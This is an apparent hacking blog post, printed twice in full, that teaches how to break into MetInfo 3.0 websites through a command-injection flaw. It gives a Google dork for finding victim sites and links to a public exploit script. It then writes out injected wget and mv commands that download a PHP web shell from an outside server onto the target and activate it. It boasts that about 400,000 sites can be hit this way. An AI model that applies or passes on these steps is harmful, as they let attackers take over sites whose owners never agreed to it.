Code Injection Exploitz :: MetInfo
Exploit ::: Beach
------------------------------------------------------------
Cod3 Inj3cti0n 3xpl0itz
------------------------------------------------------------
What is code injection?
Code Injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.
In this tutorial, I will be showing you how to exploit a vulnerability in MetInfo 3.0 by injecting linux (sometimes windoz) commands.
Here is the exploit listed on exploit-db, however it doesn't give much of an explanation, for the sole purpose of skid control. Fortunately, I will be explaining this step by step
EXPLOIT :: http://www.exploit-db.com/exploits/15361/
dork :: "Powered by MetInfo 3.0 " [google it and pick up a site]
When you have a site that has Powered by MetInfo 3.0 at the bottom, copy the website domain name, and take the perl script from the
and run it
Ex. :: perl exploit.pl http://www.site.com
Perl Script :: http://pastie.org/1378847
It will take a few seconds, then report back whether it is vulnerable or not.
If it is, go to the it gives you.
If you see the userid info, then you're good to go. If not, the page may have already been hacked, patched, or deleted :/ but it doesn't matter much, there are around 400,000 sites provided by good ol' google Devlish
When you have a vulnerable site and are able to inject cmds, all you need to do is download your shell from another server with 'wget', and then rename it from .txt to .php with 'mv'
In case you dont know how to use wget and mv, use the following format:
wget http://site.com/shell.txt
mv shell.txt shell.php
[[Where it says "cmd=" put wget --tries=2 directlinkhere.
So it would look like Ex: http://www.site.com/templates/test.php?cmd=wget --tries=2 http://www.shellurlhere.com/bill/shell.txt
Then after you have done that just put cmd=mv shell.txt shell.php to change it to php and then navigate to it.]]
u have to go like this
http://site.com/test.php?cmd=wget http://site2.com/shell.txt
http://site.com/test.php?cmd=mv shell.txt shell.php
http://site.com/shell.php
Enjoy -Arun
------------------------------------------------------------
Cod3 Inj3cti0n 3xpl0itz
------------------------------------------------------------
What is code injection?
Code Injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.
In this tutorial, I will be showing you how to exploit a vulnerability in MetInfo 3.0 by injecting linux (sometimes windoz) commands.
Here is the exploit listed on exploit-db, however it doesn't give much of an explanation, for the sole purpose of skid control. Fortunately, I will be explaining this step by step
EXPLOIT :: http://www.exploit-db.com/exploits/15361/
dork :: "Powered by MetInfo 3.0 " [google it and pick up a site]
When you have a site that has Powered by MetInfo 3.0 at the bottom, copy the website domain name, and take the perl script from the
and run it Ex. :: perl exploit.pl http://www.site.com
Perl Script :: http://pastie.org/1378847
It will take a few seconds, then report back whether it is vulnerable or not.
If it is, go to the
it gives you.If you see the userid info, then you're good to go. If not, the page may have already been hacked, patched, or deleted :/ but it doesn't matter much, there are around 400,000 sites provided by good ol' google Devlish
When you have a vulnerable site and are able to inject cmds, all you need to do is download your shell from another server with 'wget', and then rename it from .txt to .php with 'mv'
In case you dont know how to use wget and mv, use the following format:
wget http://site.com/shell.txt
mv shell.txt shell.php
[[Where it says "cmd=" put wget --tries=2 directlinkhere.
So it would look like Ex: http://www.site.com/templates/test.php?cmd=wget --tries=2 http://www.shellurlhere.com/bill/shell.txt
Then after you have done that just put cmd=mv shell.txt shell.php to change it to php and then navigate to it.]]
u have to go like this
http://site.com/test.php?cmd=wget http://site2.com/shell.txt
http://site.com/test.php?cmd=mv shell.txt shell.php
http://site.com/shell.php
Enjoy -Arun
0 comments:
Post a Comment